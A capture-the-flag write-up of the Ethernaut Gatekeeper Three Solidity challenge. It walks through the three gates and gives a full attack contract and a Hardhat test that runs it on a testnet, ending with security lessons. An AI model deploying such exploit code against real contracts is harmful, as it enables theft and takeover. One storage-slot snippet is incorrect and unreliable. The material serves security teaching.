Appearance
Mastering Gatekeeper Three: A Deep Dive into Ethereum Smart Contract Security Challenges
Introduction
The world of blockchain security presents unique challenges that require developers to think critically about smart contract design and potential vulnerabilities. Capture The Flag (CTF) challenges like Gatekeeper Three from the Ethernaut platform serve as excellent training grounds for understanding these security nuances. This technical article will provide a comprehensive analysis of the Gatekeeper Three challenge, exploring its intricacies, vulnerabilities, and the sophisticated techniques required to bypass its security gates.
Understanding the Challenge Structure
Gatekeeper Three is a multi-layered security challenge that tests a participant's understanding of Ethereum fundamentals, smart contract interactions, and edge cases in Solidity programming. The challenge consists of three distinct gates that must be passed sequentially to successfully become the "entrant" - a metaphorical representation of gaining unauthorized access to a protected system.
The Core Contracts
The challenge revolves around two primary contracts: GatekeeperThree and SimpleTrick. The GatekeeperThree contract acts as the main challenge with three security gates, while SimpleTrick serves as a helper contract with its own logic that interacts with the main gatekeeper.
solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract GatekeeperThree {
address public owner;
address public entrant;
bool public allowEntrance;
SimpleTrick public trick;
// ... rest of the contract
}
Analyzing the Three Gates
Gate One: Ownership and Transaction Origin
The first gate employs two critical checks that require understanding the difference between msg.sender and tx.origin:
solidity
modifier gateOne() {
require(msg.sender == owner);
require(tx.origin != owner);
_;
}
Key Concepts:
msg.sender: The immediate caller of the function (could be a contract or EOA)tx.origin: The original external account that initiated the transaction chain
Solution Strategy: To pass this gate, we need to make msg.sender equal to owner while ensuring tx.origin is different from owner. This can be achieved by:
- First calling
construct0r()to set ourselves as the owner - Using an intermediary contract (our Hack contract) to call the
enter()function
Gate Two: State Manipulation Through External Calls
The second gate requires setting allowEntrance to true:
solidity
modifier gateTwo() {
require(allowEntrance == true);
_;
}
The Challenge: The allowEntrance variable can only be set to true through the getAllowance() function, which requires knowing a password stored in the SimpleTrick contract:
solidity
function getAllowance(uint256 _password) public {
if (trick.checkPassword(_password)) {
allowEntrance = true;
}
}
Gate Three: Balance and Send Semantics
The third gate presents the most complex challenge, involving Ethereum's gas mechanics and the behavior of the send() function:
solidity
modifier gateThree() {
if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {
_;
}
}
Critical Observations:
- The contract must have more than 0.001 ETH
- The
send(0.001 ether)to the owner must returnfalse - The modifier uses an
ifstatement rather thanrequire, which means execution continues only if both conditions are met
The SimpleTrick Contract Analysis
Understanding the helper contract is crucial to solving the challenge:
solidity
contract SimpleTrick {
GatekeeperThree public target;
address public trick;
uint256 private password = block.timestamp;
constructor(address payable _target) {
target = GatekeeperThree(_target);
}
function checkPassword(uint256 _password) public returns (bool) {
if (_password == password) {
return true;
}
password = block.timestamp;
return false;
}
function trickInit() public {
trick = address(this);
}
function trickyTrick() public {
if (address(this) == msg.sender && address(this) != trick) {
target.getAllowance(password);
}
}
}
Important Details:
- The password is initialized to
block.timestampat contract creation - The
checkPassword()function changes the password if the wrong password is provided - The
trickInit()function sets thetrickvariable to the contract's own address - The
trickyTrick()function has a condition that can never be true aftertrickInit()is called
Step-by-Step Solution Breakdown
Step 1: Understanding the Password Mechanism
The password in SimpleTrick is set to block.timestamp when the contract is created. Since block.timestamp represents the Unix timestamp of the block in which the transaction is mined, we need to predict or capture this value.
Key Insight: When we call createTrick() from our attack contract, we can record the block timestamp and use it as the password.
Step 2: Crafting the Attack Contract
Let's examine the complete attack contract:
solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./GatekeeperThree.sol";
contract Hack {
GatekeeperThree private immutable target;
constructor(address _target) payable {
target = GatekeeperThree(payable(_target));
}
function doEnter() external payable {
// Step 1: Become the owner
target.construct0r();
// Step 2: Create the SimpleTrick contract
target.createTrick();
// Step 3: Get the password (current block timestamp)
uint256 password = block.timestamp;
target.getAllowance(password);
// Step 4: Fund the contract and trigger gateThree conditions
uint256 amount = 0.001 ether + 0.0001 ether;
payable(address(target)).transfer(amount);
// Step 5: Pass all three gates
target.enter();
}
}
Step 3: Detailed Attack Execution Flow
Phase 1: Setting Up Ownership
solidity
target.construct0r();
This sets msg.sender (our Hack contract) as the owner of GatekeeperThree. This satisfies the first condition of gateOne().
Phase 2: Creating the SimpleTrick Contract
solidity
target.createTrick();
This deploys a new SimpleTrick instance and calls trickInit() on it. The password is set to the block.timestamp of this transaction.
Phase 3: Obtaining the Password
solidity
uint256 password = block.timestamp;
target.getAllowance(password);
Here's where timing is crucial. Since all these operations happen in the same transaction (and thus the same block), the block.timestamp we capture is the same as when SimpleTrick was created. This allows us to successfully pass the password check.
Phase 4: Bypassing Gate Three
solidity
uint256 amount = 0.001 ether + 0.0001 ether;
payable(address(target)).transfer(amount);
Why 0.0011 ETH?
- We need the contract to have more than 0.001 ETH (first condition)
- We need the
send(0.001 ether)to fail (second condition)
The send() function has a gas stipend of 2300 gas, which is often insufficient for more complex operations. By sending exactly 0.0011 ETH, we ensure:
- The contract has > 0.001 ETH balance
- When
send(0.001 ether)is called, it will transfer ETH to the owner (our Hack contract) - If our Hack contract doesn't implement a
receive()orfallback()function, or implements one that consumes more than 2300 gas, thesend()will fail and returnfalse
Phase 5: Final Entry
solidity
target.enter();
This call passes through all three gates:
gateOne:msg.sender(Hack contract) is owner,tx.origin(our EOA) is not ownergateTwo:allowEntrancewas set totrueby successful password verificationgateThree: Contract has > 0.001 ETH andsend()returnsfalse
Testing the Solution
The provided test file demonstrates how to verify the solution:
typescript
import { ethers } from "hardhat";
import { expect } from "chai";
import { GatekeeperThree, Hack } from "../typechain-types";
describe("GatekeeperThree", function () {
describe("GatekeeperThree testnet online sepolia", function () {
it("testnet online sepolia GatekeeperThree", async function () {
const GATEKEEPERTHREE_ADDRESS = "0x...";
const GatekeeperThreeFactory = await ethers.getContractFactory("GatekeeperThree");
const GATEKEEPERTHREE_ABI = GatekeeperThreeFactory.interface.format();
const challenger = await ethers.getNamedSigner("deployer");
const gatekeeperThreeContract = new ethers.Contract(GATEKEEPERTHREE_ADDRESS, GATEKEEPERTHREE_ABI, challenger);
const ZERO_ADDRESS = "0x0000000000000000000000000000000000000000";
const amount = ethers.parseUnits("0.0011", 18);
const HackFactory = await ethers.getContractFactory("Hack");
const hack = (await HackFactory.deploy(GATEKEEPERTHREE_ADDRESS, { value: amount })) as Hack;
await hack.waitForDeployment();
const entrant_before = await gatekeeperThreeContract.entrant();
expect(entrant_before).to.be.equals(ZERO_ADDRESS);
const tx = await hack.doEnter({ value: amount });
await tx.wait();
const deployer = await ethers.getNamedSigners("deployer");
const entrant_after = await gatekeeperThreeContract.entrant();
expect(entrant_after).to.be.equals(deployer.address);
});
});
});
Security Lessons and Best Practices
Lesson 1: Understanding tx.origin vs msg.sender
The use of tx.origin for authorization is generally discouraged in smart contract development. As demonstrated in this challenge, it can be bypassed using intermediary contracts. Best practice is to use msg.sender exclusively for authorization checks.
Lesson 2: Predictable Values as Secrets
Using block.timestamp or block.number as passwords or random number generators is insecure because these values are predictable and can be observed by anyone monitoring the blockchain.
Lesson 3: Gas Limitations with send() and transfer()
The send() and transfer() functions have a fixed gas stipend of 2300 gas. This can cause transactions to fail if the receiving contract has complex fallback functions. Modern best practice is to use call() instead, but with proper checks against reentrancy attacks.
Lesson 4: State Variable Privacy
The private visibility modifier in Solidity doesn't mean data is hidden from users. All data on the blockchain is public. The password variable in SimpleTrick can be read by examining the contract's storage slots.
Lesson 5: Conditional Logic in Modifiers
Using if statements instead of require() in modifiers can lead to unexpected behavior. If the condition isn't met, the function won't revert but will simply skip the modifier's logic.
Advanced Considerations
Storage Layout Analysis
Understanding Ethereum storage layout is crucial for advanced attacks. The SimpleTrick contract stores its password at a specific storage slot that can be read directly:
solidity
// Password is at storage slot 2 (after target and trick)
bytes32 passwordSlot = keccak256(abi.encodePacked(uint256(2)));
Gas Optimization in Attacks
The attack must be executed in a single transaction to ensure the block.timestamp remains consistent. This requires careful gas management to avoid out-of-gas errors.
Network Considerations
On testnets like Sepolia, block times and gas prices differ from mainnet. The attack must account for these differences, especially when dealing with time-sensitive operations.
Conclusion
The Gatekeeper Three challenge provides a comprehensive test of Ethereum smart contract security knowledge. It requires understanding of:
- Contract ownership patterns
- Transaction origin vs sender semantics
- Block property predictability
- Gas mechanics and transfer functions
- State variable visibility and storage
By successfully navigating these gates, developers gain valuable insights into common vulnerabilities and learn to implement more secure smart contract patterns. The key takeaways emphasize the importance of using secure random number generation, avoiding tx.origin for authorization, understanding gas implications of transfer functions, and recognizing that all blockchain data is ultimately public.
This challenge serves as a reminder that security in blockchain development requires a deep understanding of both the Ethereum Virtual Machine's mechanics and the subtle nuances of Solidity programming. As the blockchain ecosystem continues to evolve, such challenges remain essential for training the next generation of security-conscious smart contract developers.